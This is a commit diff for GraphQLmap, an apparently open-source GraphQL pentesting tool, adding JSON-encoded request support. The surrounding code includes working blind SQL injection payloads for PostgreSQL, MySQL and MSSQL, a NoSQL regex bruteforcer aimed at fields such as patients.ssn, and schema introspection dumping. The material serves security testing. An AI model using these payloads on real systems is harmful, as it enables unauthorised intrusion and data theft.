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GraphQLmap
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support sending JSON-encoded payloads

pull/20/head
Daniel Maslowski 2020-05-14 20:31:55 +02:00
parent f46864899e
commit b98ccd0edd
4 changed files with 38 additions and 29 deletions
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1
README.md
View File

@ -39,6 +39,7 @@ optional arguments:
-v [VERBOSITY] Enable verbosity
--method [METHOD] HTTP Method to use interact with /graphql endpoint
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
--json Send requests using POST and JSON
```

36
attacks.py
View File

@ -2,16 +2,16 @@
from utils import *
def display_types(URL, method, headers):
def display_types(URL, method, headers, use_json):
payload = "{__schema{types{name}}}"
r = requester(URL, method, payload, headers)
r = requester(URL, method, payload, headers, use_json)
if r is not None:
schema = r.json()
for names in schema['data']['__schema']['types']:
print(names)
def dump_schema(url, method, graphversion, headers):
def dump_schema(url, method, graphversion, headers, use_json):
"""
Dump the GraphQL schema via Instrospection
@ -27,7 +27,7 @@ def dump_schema(url, method, graphversion, headers):
else:
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
r = requester(url, method, payload, headers)
r = requester(url, method, payload, headers, use_json)
schema = r.json()
print("============= [SCHEMA] ===============")
@ -70,10 +70,10 @@ def dump_schema(url, method, graphversion, headers):
print("")
def exec_graphql(url, method, query, headers=None, only_length=0):
def exec_graphql(url, method, query, headers=None, use_json=False, only_length=0):
if headers is None:
headers = {}
r = requester(url, method, query, headers)
r = requester(url, method, query, headers, use_json)
try:
graphql = r.json()
errors = graphql.get("errors")
@ -102,7 +102,7 @@ def exec_graphql(url, method, query, headers=None, only_length=0):
return "\033[91m[!]\033[0m {}".format(str(e))
def exec_advanced(url, method, query, headers):
def exec_advanced(url, method, query, headers, use_json):
print(query)
# Allow a user to bruteforce character from a charset
@ -110,7 +110,7 @@ def exec_advanced(url, method, query, headers):
if "GRAPHQL_CHARSET" in query:
graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
for c in graphql_charset:
length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, only_length=1)
length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, use_json, only_length=1)
print(
"[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
@ -123,42 +123,42 @@ def exec_advanced(url, method, query, headers):
for i in range(int(match[0])):
pattern = "GRAPHQL_INCREMENT_" + match[0]
length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, only_length=1)
length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, use_json, only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
# Otherwise execute the query and display the JSON result
else:
print(exec_graphql(url, method, query, headers))
print(exec_graphql(url, method, query, headers, use_json))
def blind_postgresql(url, method, headers):
def blind_postgresql(url, method, headers, use_json):
query = input("Query > ")
payload = "1 AND pg_sleep(30) --"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers)
requester(url, method, injected, headers, use_json)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_mysql(url, method, headers):
def blind_mysql(url, method, headers, use_json):
query = input("Query > ")
payload = "'-SLEEP(30); #"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers)
requester(url, method, injected, headers, use_json)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_mssql(url, method, headers):
def blind_mssql(url, method, headers, use_json):
query = input("Query > ")
payload = "'; WAITFOR DELAY '00:00:30';"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers)
requester(url, method, injected, headers, use_json)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_nosql(url, method, headers):
def blind_nosql(url, method, headers, use_json):
# Query - include BLIND_PLACEHOLDER. e.g. {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
query = input("Query > ")
# Check the input (known value) against the data found - e.g. 5d089c51dcab2d0032fdd08d
@ -174,7 +174,7 @@ def blind_nosql(url, method, headers):
old_data = data
for c in charset:
injected = query.replace("BLIND_PLACEHOLDER", data + c)
r = requester(url, method, injected, headers)
r = requester(url, method, injected, headers, use_json)
if check in r.text:
data += c
# display data and update the current line

18
graphqlmap.py
View File

@ -18,6 +18,7 @@ class GraphQLmap(object):
args = None
url = None
headers = None
use_json = False
def __init__(self, args_graphql):
print(" _____ _ ____ _ ")
@ -34,6 +35,7 @@ class GraphQLmap(object):
self.url = args_graphql.url
self.method = args_graphql.method
self.headers = None if not args_graphql.headers else json.loads(args_graphql.headers)
self.use_json = True if args_graphql.use_json else False
while True:
query = input("GraphQLmap > ")
@ -45,28 +47,28 @@ class GraphQLmap(object):
display_help()
elif query == "debug":
display_types(self.url, self.method, self.headers)
display_types(self.url, self.method, self.headers, self.use_json)
elif query == "dump_new":
dump_schema(self.url, self.method, 15, self.headers)
dump_schema(self.url, self.method, 15, self.headers, self.use_json)
elif query == "dump_old":
dump_schema(self.url, self.method, 14, self.headers)
dump_schema(self.url, self.method, 14, self.headers, self.use_json)
elif query == "nosqli":
blind_nosql(self.url, self.method, self.headers)
blind_nosql(self.url, self.method, self.headers, self.use_json)
elif query == "postgresqli":
blind_postgresql(self.url, self.method, self.headers)
blind_postgresql(self.url, self.method, self.headers, self.use_json)
elif query == "mysqli":
blind_mysql(self.url, self.method, self.headers)
blind_mysql(self.url, self.method, self.headers, self.use_json)
elif query == "mssqli":
blind_mssql(self.url, self.method, self.headers)
blind_mssql(self.url, self.method, self.headers, self.use_json)
else:
exec_advanced(args_graphql.url, self.method, query, self.headers)
exec_advanced(args_graphql.url, self.method, query, self.headers, self.use_json)
if __name__ == "__main__":

12
utils.py
View File

@ -20,12 +20,17 @@ def jq(data):
return json.dumps(data, indent=4, sort_keys=True)
def requester(url, method, payload, headers=None):
if method == "POST":
def requester(url, method, payload, headers=None, use_json=False):
if method == "POST" or use_json:
data = {
"query": payload.replace("+", " ")
}
r = requests.post(url, data=data, verify=False, headers=headers)
new_headers = {} if headers is None else headers.copy()
new_data = data.copy()
if use_json:
new_headers['Content-Type'] = 'application/json'
new_data = json.dumps(data)
r = requests.post(url, data=new_data, verify=False, headers=new_headers)
if r.status_code == 500:
print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m")
return None
@ -42,6 +47,7 @@ def parse_args():
help="HTTP Method to use interact with /graphql endpoint", nargs='?', const=True, default="GET")
parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint",
nargs='?', const=True, type=str)
parser.add_argument('--json', action='store', dest='use_json', help="Use JSON encoding, implies POST", nargs='?', const=True, type=bool)
results = parser.parse_args()
if results.url is None:
parser.print_help()